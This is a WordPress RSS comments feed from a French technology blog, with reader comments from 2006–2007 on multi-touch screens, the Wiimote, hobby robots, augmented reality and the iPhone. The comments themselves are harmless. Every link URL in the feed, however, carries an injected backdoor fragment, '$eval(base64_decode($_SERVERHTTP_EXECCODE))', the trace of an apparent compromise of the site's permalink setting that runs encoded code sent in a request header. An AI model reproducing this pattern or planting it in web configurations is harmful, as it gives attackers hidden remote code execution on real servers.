<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>
<channel>
	<title>Commentaires pour </title>
	<atom:link href="http://www.createlier.org/atelier/comments/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.createlier.org/atelier</link>
	<description>Notre époque est définitivement moderne</description>
	<pubDate>Sat, 31 Jul 2010 17:14:20 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>Commentaires sur La fin de l’écran rouge… ça va faire mal ! par cb</title>
		<link>http://www.createlier.org/atelier/2007/11/08/185/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&#038;%/comment-page-1/#comment-2658</link>
		<dc:creator>cb</dc:creator>
		<pubDate>Fri, 09 Nov 2007 08:03:56 +0000</pubDate>
		<guid isPermaLink="false">http://www.createlier.org/atelier/archives/185#comment-2658</guid>
		<description>4 compresseurs devant, 4 derrière, pour la force d'un "coup de poing d'un enfant de 3 ans".

Ca a l'air facile à coder, y'a plus qu'à tester =)

http://cb.nowan.net/blog/2007/11/01/cheap-impact-generating-device/</description>
		<content:encoded><![CDATA[<p>4 compresseurs devant, 4 derrière, pour la force d&#8217;un &#8220;coup de poing d&#8217;un enfant de 3 ans&#8221;.</p>
<p>Ca a l&#8217;air facile à coder, y&#8217;a plus qu&#8217;à tester =)</p>
<p><a href="http://cb.nowan.net/blog/2007/11/01/cheap-impact-generating-device/" rel="nofollow">http://cb.nowan.net/blog/2007/11/01/cheap-impact-generating-device/</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>Commentaires sur Le plus gros iPhone du monde est signé Microsoft par Florent***</title>
		<link>http://www.createlier.org/atelier/2007/06/01/le-plus-gros-iphone-du-monde-est-signe-microsoft/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&#038;%/comment-page-1/#comment-2645</link>
		<dc:creator>Florent***</dc:creator>
		<pubDate>Tue, 19 Jun 2007 05:58:53 +0000</pubDate>
		<guid isPermaLink="false">http://www.createlier.org/atelier/archives/173#comment-2645</guid>
		<description>Parce qu'on accorde plus de génie au premier arrivé... Microsoft arrive toujours derrière, quand l'idée des autre est prête à être vendu au plus grand nombre.</description>
		<content:encoded><![CDATA[<p>Parce qu&#8217;on accorde plus de génie au premier arrivé&#8230; Microsoft arrive toujours derrière, quand l&#8217;idée des autre est prête à être vendu au plus grand nombre.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Commentaires sur Le plus gros iPhone du monde est signé Microsoft par Clem___o.O</title>
		<link>http://www.createlier.org/atelier/2007/06/01/le-plus-gros-iphone-du-monde-est-signe-microsoft/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&#038;%/comment-page-1/#comment-2644</link>
		<dc:creator>Clem___o.O</dc:creator>
		<pubDate>Mon, 18 Jun 2007 21:32:39 +0000</pubDate>
		<guid isPermaLink="false">http://www.createlier.org/atelier/archives/173#comment-2644</guid>
		<description>est signé Apple je voulais dire ^^</description>
		<content:encoded><![CDATA[<p>est signé Apple je voulais dire ^^</p>
]]></content:encoded>
	</item>
	<item>
		<title>Commentaires sur Le plus gros iPhone du monde est signé Microsoft par Clem___o.O</title>
		<link>http://www.createlier.org/atelier/2007/06/01/le-plus-gros-iphone-du-monde-est-signe-microsoft/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&#038;%/comment-page-1/#comment-2643</link>
		<dc:creator>Clem___o.O</dc:creator>
		<pubDate>Mon, 18 Jun 2007 21:08:48 +0000</pubDate>
		<guid isPermaLink="false">http://www.createlier.org/atelier/archives/173#comment-2643</guid>
		<description>Dans le meme genre, pourquoi ne pas avoir titré "le plus petite Surface du monde est signé Microsoft"?</description>
		<content:encoded><![CDATA[<p>Dans le meme genre, pourquoi ne pas avoir titré &#8220;le plus petite Surface du monde est signé Microsoft&#8221;?</p>
]]></content:encoded>
	</item>
	<item>
		<title>Commentaires sur Écran Tactile Multi-Touch par &#60;- ∆rticles de l&#8217;∆telier -&#62; &#187; Archive du blog &#187; Le plus gros iPhone du monde est signé Microsoft</title>
		<link>http://www.createlier.org/atelier/2006/03/19/ecran-tactile-multi-touch/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&#038;%/comment-page-1/#comment-1820</link>
		<dc:creator>&#60;- ∆rticles de l&#8217;∆telier -&#62; &#187; Archive du blog &#187; Le plus gros iPhone du monde est signé Microsoft</dc:creator>
		<pubDate>Fri, 01 Jun 2007 12:51:49 +0000</pubDate>
		<guid isPermaLink="false">http://www.createlier.org/atelier/?p=15#comment-1820</guid>
		<description>[...] qui est bien plus proche de celui de Multi-Touch Interaction Research ( que je vous présentait en mars 2006 ) Que du prototype Microsoft Research présentés à Laval Virtual en 2006 (qui était un écran [...]</description>
		<content:encoded><![CDATA[<p>[...] qui est bien plus proche de celui de Multi-Touch Interaction Research ( que je vous présentait en mars 2006 ) Que du prototype Microsoft Research présentés à Laval Virtual en 2006 (qui était un écran [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>Commentaires sur Flash info par Florent***</title>
		<link>http://www.createlier.org/atelier/2006/12/20/flash-info/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&#038;%/comment-page-1/#comment-1534</link>
		<dc:creator>Florent***</dc:creator>
		<pubDate>Mon, 07 May 2007 09:40:44 +0000</pubDate>
		<guid isPermaLink="false">http://www.createlier.org/atelier/archives/159#comment-1534</guid>
		<description>exemple d'utilité ici : http://jeanphiblog.media-box.net/dotclear/index.php?2005/09/21/139-flash-8-camera-detection-de-mouvement-blurfilter</description>
		<content:encoded><![CDATA[<p>exemple d&#8217;utilité ici : <a href="http://jeanphiblog.media-box.net/dotclear/index.php?2005/09/21/139-flash-8-camera-detection-de-mouvement-blurfilter" rel="nofollow">http://jeanphiblog.media-box.net/dotclear/index.php?2005/09/21/139-flash-8-camera-detection-de-mouvement-blurfilter</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>Commentaires sur MARA, et voilà, la RA est là ! par &#60;- ∆rticles de l&#8217;∆telier -&#62; &#187; Blog Archive &#187; Connecting Virtual People</title>
		<link>http://www.createlier.org/atelier/2006/11/30/mara-et-voila-la-ra-est-la/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&#038;%/comment-page-1/#comment-1533</link>
		<dc:creator>&#60;- ∆rticles de l&#8217;∆telier -&#62; &#187; Blog Archive &#187; Connecting Virtual People</dc:creator>
		<pubDate>Mon, 07 May 2007 09:20:21 +0000</pubDate>
		<guid isPermaLink="false">http://www.createlier.org/atelier/archives/148#comment-1533</guid>
		<description>[...] L’équipe de recherche de Nokia en Finlande ayant mis sur pied le projet MARA (Mobile Augmented Reality Applications) dont je vous parlais fin 2006 a cessé de travailler sur ces technologies. La firme mondiale a passé le relais à une équipe du nouveau centre de recherche Nokia basé à Palo Alto aux Etats Unis. L’équipe de développement des applications de réalité Augmenté compte Kari Pulli et Radek Grzeszczuk. Ces deux noms indiquent le tournant qu’est en train de prendre Nokia pour ses applications mobiles futur : ces chercheurs sont des spécialistes du rendu 3D temps réel et de la reconstruction géométrique à partir de texture. [...]</description>
		<content:encoded><![CDATA[<p>[...] L’équipe de recherche de Nokia en Finlande ayant mis sur pied le projet MARA (Mobile Augmented Reality Applications) dont je vous parlais fin 2006 a cessé de travailler sur ces technologies. La firme mondiale a passé le relais à une équipe du nouveau centre de recherche Nokia basé à Palo Alto aux Etats Unis. L’équipe de développement des applications de réalité Augmenté compte Kari Pulli et Radek Grzeszczuk. Ces deux noms indiquent le tournant qu’est en train de prendre Nokia pour ses applications mobiles futur : ces chercheurs sont des spécialistes du rendu 3D temps réel et de la reconstruction géométrique à partir de texture. [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>Commentaires sur Wiimote pour PC par Clément R.</title>
		<link>http://www.createlier.org/atelier/2006/11/27/wiimote-pour-pc/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&#038;%/comment-page-1/#comment-764</link>
		<dc:creator>Clément R.</dc:creator>
		<pubDate>Tue, 06 Feb 2007 10:44:25 +0000</pubDate>
		<guid isPermaLink="false">http://www.createlier.org/atelier/?p=136#comment-764</guid>
		<description>Voici des liens utiles pour utiliser sa Wiimote sur Linux, Mac, XP,
beaucoup de scipts existent déja :D :
http://wiipiicii.blogspot.com/
http://www.wiili.org/index.php/Wiimote

ici une démo de ce qui est faisable:
http://www.youtube.com/watch?v=pFa-Dusew0U&amp;eurl=
ou encore :
http://www.youtube.com/watch?v=0qEotHQgUsg&amp;eurl=
(les malades)</description>
		<content:encoded><![CDATA[<p>Voici des liens utiles pour utiliser sa Wiimote sur Linux, Mac, XP,<br />
beaucoup de scipts existent déja <img src='http://www.createlier.org/atelier/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> :<br />
<a href="http://wiipiicii.blogspot.com/" rel="nofollow">http://wiipiicii.blogspot.com/</a><br />
<a href="http://www.wiili.org/index.php/Wiimote" rel="nofollow">http://www.wiili.org/index.php/Wiimote</a></p>
<p>ici une démo de ce qui est faisable:<br />
<a href="http://www.youtube.com/watch?v=pFa-Dusew0U&amp;eurl=" rel="nofollow">http://www.youtube.com/watch?v=pFa-Dusew0U&amp;eurl=</a><br />
ou encore :<br />
<a href="http://www.youtube.com/watch?v=0qEotHQgUsg&amp;eurl=" rel="nofollow">http://www.youtube.com/watch?v=0qEotHQgUsg&amp;eurl=</a><br />
(les malades)</p>
]]></content:encoded>
	</item>
	<item>
		<title>Commentaires sur Let’s go Robots par Florent***</title>
		<link>http://www.createlier.org/atelier/2006/06/30/let%e2%80%99s-go-robot/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&#038;%/comment-page-1/#comment-760</link>
		<dc:creator>Florent***</dc:creator>
		<pubDate>Mon, 05 Feb 2007 06:10:17 +0000</pubDate>
		<guid isPermaLink="false">http://www.createlier.org/atelier/?p=111#comment-760</guid>
		<description>Je pense que la solution légo (ou mécano) est la plus pratique pour construire rapidement son robot et avoir un logiciel permétant de le programmer rapidement. Pour plus d'info je conseil le site http://www.vieartificielle.com/, ce sont des specialistes de la chose.

Florent***</description>
		<content:encoded><![CDATA[<p>Je pense que la solution légo (ou mécano) est la plus pratique pour construire rapidement son robot et avoir un logiciel permétant de le programmer rapidement. Pour plus d&#8217;info je conseil le site <a href="http://www.vieartificielle.com/" rel="nofollow">http://www.vieartificielle.com/</a>, ce sont des specialistes de la chose.</p>
<p>Florent***</p>
]]></content:encoded>
	</item>
	<item>
		<title>Commentaires sur Let’s go Robots par vittar</title>
		<link>http://www.createlier.org/atelier/2006/06/30/let%e2%80%99s-go-robot/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&#038;%/comment-page-1/#comment-755</link>
		<dc:creator>vittar</dc:creator>
		<pubDate>Sun, 04 Feb 2007 23:38:45 +0000</pubDate>
		<guid isPermaLink="false">http://www.createlier.org/atelier/?p=111#comment-755</guid>
		<description>salut

je veux commencer a fabriquer un robot
n'importe quel type, j'aime le bricolage
j'ai pas d'idee precise pour l'instant
aimerez des conseils
dans l'attente salutations</description>
		<content:encoded><![CDATA[<p>salut</p>
<p>je veux commencer a fabriquer un robot<br />
n&#8217;importe quel type, j&#8217;aime le bricolage<br />
j&#8217;ai pas d&#8217;idee precise pour l&#8217;instant<br />
aimerez des conseils<br />
dans l&#8217;attente salutations</p>
]]></content:encoded>
	</item>
	<item>
		<title>Commentaires sur Plus qu’un nouveau produit, une révolution. par gat</title>
		<link>http://www.createlier.org/atelier/2007/01/10/plus-qu%e2%80%99un-nouveau-produit-une-revolution/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&#038;%/comment-page-1/#comment-621</link>
		<dc:creator>gat</dc:creator>
		<pubDate>Tue, 16 Jan 2007 23:33:31 +0000</pubDate>
		<guid isPermaLink="false">http://www.createlier.org/atelier/archives/164#comment-621</guid>
		<description>J'pense qu'a peu près tout le monde en a entendu parlé, puisque c'est jusque la l'évènement majeur du début de l'année en matière de nouvelles technologies.
Je voulais juste préciser pour ceux qui ne le savent pas encore, que, pour les plus passionés (et/ou les plus patients) la vidéo d'introduction est disponible :
- en podcast depuis iTunes
- depuis le site web d'Apple (http://www.apple.com/quicktime/qtv/keynote/)
Steve y présente (pendant une heure et demi quand même) les fonctionnalités, donne des explications sur le design, compare aux produits existants... et fait une petite démo aussi bien sûr quand même.
Avis aux intéressés...</description>
		<content:encoded><![CDATA[<p>J&#8217;pense qu&#8217;a peu près tout le monde en a entendu parlé, puisque c&#8217;est jusque la l&#8217;évènement majeur du début de l&#8217;année en matière de nouvelles technologies.<br />
Je voulais juste préciser pour ceux qui ne le savent pas encore, que, pour les plus passionés (et/ou les plus patients) la vidéo d&#8217;introduction est disponible :<br />
- en podcast depuis iTunes<br />
- depuis le site web d&#8217;Apple (http://www.apple.com/quicktime/qtv/keynote/)<br />
Steve y présente (pendant une heure et demi quand même) les fonctionnalités, donne des explications sur le design, compare aux produits existants&#8230; et fait une petite démo aussi bien sûr quand même.<br />
Avis aux intéressés&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>Commentaires sur MARA, et voilà, la RA est là ! par &#60;- ∆rticles de l&#8217;∆telier -&#62; &#187; Blog Archive &#187; Le tablet Mac pour les graphistes et les accro de la RV</title>
		<link>http://www.createlier.org/atelier/2006/11/30/mara-et-voila-la-ra-est-la/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&#038;%/comment-page-1/#comment-564</link>
		<dc:creator>&#60;- ∆rticles de l&#8217;∆telier -&#62; &#187; Blog Archive &#187; Le tablet Mac pour les graphistes et les accro de la RV</dc:creator>
		<pubDate>Thu, 11 Jan 2007 10:23:09 +0000</pubDate>
		<guid isPermaLink="false">http://www.createlier.org/atelier/archives/148#comment-564</guid>
		<description>[...] Je pense que ce genre de produit n’est pas encore prêt pour un marché grand public, mais que le champ de possibilité ouvert par ses outil d’Interface homme machine avancés (Micro et enceintes, Webcam, entrée tactile sensible à la pression, gyroscopes et accéléromètres et GPS) sont immenses. Nous retrouvons ainsi les ingrédients utilisés par Nokia (cf article précédent) pour un système de réalité augmenté de géolocalisation. Bien d’autres choses sont envisageables pour de application de Réalité Virtuelle. [...]</description>
		<content:encoded><![CDATA[<p>[...] Je pense que ce genre de produit n’est pas encore prêt pour un marché grand public, mais que le champ de possibilité ouvert par ses outil d’Interface homme machine avancés (Micro et enceintes, Webcam, entrée tactile sensible à la pression, gyroscopes et accéléromètres et GPS) sont immenses. Nous retrouvons ainsi les ingrédients utilisés par Nokia (cf article précédent) pour un système de réalité augmenté de géolocalisation. Bien d’autres choses sont envisageables pour de application de Réalité Virtuelle. [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>Commentaires sur Qu&#8217;obtient-on avec 2 chaussures + 2 capteurs + une boîte de Nesquick + the king of the pop ? par sof</title>
		<link>http://www.createlier.org/atelier/2006/12/13/2-chaussures-2-capteurs-une-boite-de-nesquick-the-king-of-the-pop/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&#038;%/comment-page-1/#comment-557</link>
		<dc:creator>sof</dc:creator>
		<pubDate>Tue, 09 Jan 2007 21:12:15 +0000</pubDate>
		<guid isPermaLink="false">http://www.createlier.org/atelier/archives/157#comment-557</guid>
		<description>coucou flo, né marche pas la vidéo snif</description>
		<content:encoded><![CDATA[<p>coucou flo, né marche pas la vidéo snif</p>
]]></content:encoded>
	</item>
	<item>
		<title>Commentaires sur Flash info par 16aR</title>
		<link>http://www.createlier.org/atelier/2006/12/20/flash-info/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&#038;%/comment-page-1/#comment-462</link>
		<dc:creator>16aR</dc:creator>
		<pubDate>Thu, 21 Dec 2006 12:14:04 +0000</pubDate>
		<guid isPermaLink="false">http://www.createlier.org/atelier/archives/159#comment-462</guid>
		<description>Multi plateforme, ca dépend.
On attend encore le lecteur flash 8 sur linux ... :(

*le geek repart*</description>
		<content:encoded><![CDATA[<p>Multi plateforme, ca dépend.<br />
On attend encore le lecteur flash 8 sur linux &#8230; <img src='http://www.createlier.org/atelier/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>*le geek repart*</p>
]]></content:encoded>
	</item>
	<item>
		<title>Commentaires sur Comment va le monde ? par chou</title>
		<link>http://www.createlier.org/atelier/2006/12/12/comment-va-le-monde/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&#038;%/comment-page-1/#comment-446</link>
		<dc:creator>chou</dc:creator>
		<pubDate>Wed, 20 Dec 2006 08:28:42 +0000</pubDate>
		<guid isPermaLink="false">http://www.createlier.org/atelier/archives/150#comment-446</guid>
		<description>c'est absolument génial! Merci Lambdatelier!</description>
		<content:encoded><![CDATA[<p>c&#8217;est absolument génial! Merci Lambdatelier!</p>
]]></content:encoded>
	</item>
</channel>
</rss>
